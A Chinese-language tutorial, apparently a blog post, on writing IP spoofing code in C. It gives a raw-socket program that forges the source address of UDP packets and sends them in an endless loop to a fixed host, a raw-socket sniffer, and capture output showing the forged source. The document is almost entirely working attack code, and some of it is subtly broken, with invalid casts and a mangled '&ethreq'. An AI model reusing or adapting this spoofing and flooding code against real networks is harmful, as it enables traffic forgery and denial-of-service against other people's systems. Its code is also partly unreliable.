如何编写IP欺骗代码

第一步，编写IP欺骗代码

#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <errno.h>
#define IP_HEAD_LEN 20
void
udp_write(char *buf, int userlen);
int rawfd;
int main()
{
	
	if((rawfd=socket(AF_INET, SOCK_RAW,IPPROTO_UDP))<0) 
	{
		perror("socket error");
        exit(1);
        }
	int on=1;
	setsockopt(rawfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
	size_t nbytes;
	char *buf, *ptr;
	buf=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+100);
	ptr=buf+sizeof(struct iphdr)+sizeof(struct udphdr);//定位到数据发送区
	//ptr="sent ip packet by jinlu";
	nbytes=(ptr-buf)-(sizeof(struct iphdr)+sizeof(struct udphdr));
	while(1)
	{
	udp_write(buf,nbytes);
	
	}
	return 0;
}
struct ipvolg{
    u_char  ih_x1 [9];  //9 bit
    u_char  ih_pr;      //1 bit
    u_short     ih_len;  //2 bytes
    struct in_addr  ih_src; //4 bytes;
    struct in_addr  ih_dst; //4 bytes;
};
struct udpiphdr{
    struct ipvolg ui_i;
    struct udphdr ui_u;
};

#define ui_x1           ui_i.ih_x1
#define ui_pr           ui_i.ih_pr
#define ui_sum          ui_i.ih_len
#define ui_src          ui_i.ih_src
#define ui_dst          ui_i.ih_dst
#define ui_sport        ui_u.source
#define ui_dport        ui_u.dest
#define ui_ulen         ui_u.len
void
udp_write(char *buf, int userlen)
{
	struct sockaddr_in	dest, local;
	memset(&dest,0,sizeof(dest));
	memset(&local,0,sizeof(local));
	dest.sin_family=AF_INET;
	dest.sin_port=htons(88);
	inet_pton(AF_INET,"10.10.104.137",&dest.sin_addr);
	local.sin_family=AF_INET;
	local.sin_port=htons(80);
	inet_pton(AF_INET,"10.10.104.2",&local.sin_addr);
	struct udpiphdr		*ui;
	struct ip			*ip;

		/* 4fill in and checksum UDP header */
	ip = (struct ip *) buf;
	ui = (struct udpiphdr *) buf;
	bzero(ui, sizeof(*ui));
			/* 8add 8 to userlen for pseudoheader length */
	ui->ui_ulen  = htons((uint16_t) (sizeof(struct udphdr) + userlen));
			/* 8then add 28 for IP datagram length */
	userlen += sizeof(struct udpiphdr);

	ui->ui_pr = IPPROTO_UDP;
	ui->ui_src.s_addr = ((struct sockaddr_in ) local).sin_addr.s_addr;
	ui->ui_dst.s_addr = ((struct sockaddr_in ) dest).sin_addr.s_addr;
	ui->ui_sport = ((struct sockaddr_in ) local).sin_port;
	ui->ui_dport = ((struct sockaddr_in ) dest).sin_port;
	//ui->ui_ulen = ui->ui_len;
	

		/* 4fill in rest of IP header; */
		/* 4ip_output() calcuates & stores IP header checksum */
	ip->ip_v = IPVERSION;
	ip->ip_hl = sizeof(struct ip) >> 2;
	ip->ip_tos = 0;

	ip->ip_len = htons(userlen);	/* network byte order */


	ip->ip_id = 0;			/* let IP set this */
	ip->ip_off = 0;			/* frag offset, MF and DF flags */
	ip->ip_ttl = 64;
int flag;
int size=sizeof(dest);
	 if((flag=sendto(rawfd, buf, userlen, 0, (struct sockaddr*)&dest, size))<0)
	  {
        perror("sendto error");
        exit(1);
    }
}
/* end udp_write */

 

第二步：编写抓包代码

#include <stdio.h>
#include <string.h>
#include <errno.h>  
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>  
#include <linux/in.h>
#include <linux/if_ether.h>
#include <net/if.h>
#include <sys/ioctl.h>

int main(int argc, char **argv) {
  int sock, n;
  char buffer[2048];
  unsigned char *iphead, *ethhead;
  struct ifreq ethreq;
  
  if ( (sock=socket(PF_PACKET, SOCK_RAW, 
                    htons(ETH_P_IP)))<0) {
    perror("socket");
    exit(1);
  }

  /* Set the network card in promiscuos mode 
  strncpy(ethreq.ifr_name,"eth1",IFNAMSIZ);
  if (ioctl(sock,SIOCGIFFLAGS,ðreq)==-1) {
    perror("ioctl");
    close(sock);
    exit(1);
  }
  ethreq.ifr_flags|=IFF_PROMISC;
  if (ioctl(sock,SIOCSIFFLAGS,ðreq)==-1) {
    perror("ioctl");
    close(sock);
    exit(1);
  }*/
  
  while (1) {
    printf("----------\n");
    n = recvfrom(sock,buffer,2048,0,NULL,NULL);
    printf("%d bytes read\n",n);

    /* Check to see if the packet contains at least 
     * complete Ethernet (14), IP (20) and TCP/UDP 
     * (8) headers.
     */
    if (n<42) {
      perror("recvfrom():");
      printf("Incomplete packet (errno is %d)\n",
             errno);
      close(sock);
      exit(0);
    }

    ethhead = buffer;
    printf("Source MAC address: "
           "%02x:%02x:%02x:%02x:%02x:%02x\n",
           ethhead[0],ethhead[1],ethhead[2],
           ethhead[3],ethhead[4],ethhead[5]);
    printf("Destination MAC address: "
           "%02x:%02x:%02x:%02x:%02x:%02x\n",
           ethhead[6],ethhead[7],ethhead[8],
           ethhead[9],ethhead[10],ethhead[11]);

    iphead = buffer+14; /* Skip Ethernet header */
    if (*iphead==0x45) { /* Double check for IPv4
                          * and no options present */
      printf("Source host %d.%d.%d.%d\n",
             iphead[12],iphead[13],
             iphead[14],iphead[15]);
      printf("Dest host %d.%d.%d.%d\n",
             iphead[16],iphead[17],
             iphead[18],iphead[19]);
      printf("Source,Dest ports %d,%d\n",
             (iphead[20]<<8)+iphead[21],
             (iphead[22]<<8)+iphead[23]);
      printf("Layer-4 protocol %d\n",iphead[9]);
    }
  }
  
}

 

第三步：抓包----------42 bytes readSource MAC address: 00:00:00:00:00:00Destination MAC address: 00:00:00:00:00:00Source host 10.10.104.2Dest host 10.10.104.137Source,Dest ports 80,88Layer-4 protocol 17----------42 bytes readSource MAC address: 00:00:00:00:00:00Destination MAC address: 00:00:00:00:00:00Source host 10.10.104.2Dest host 10.10.104.137Source,Dest ports 80,88Layer-4 protocol 17----------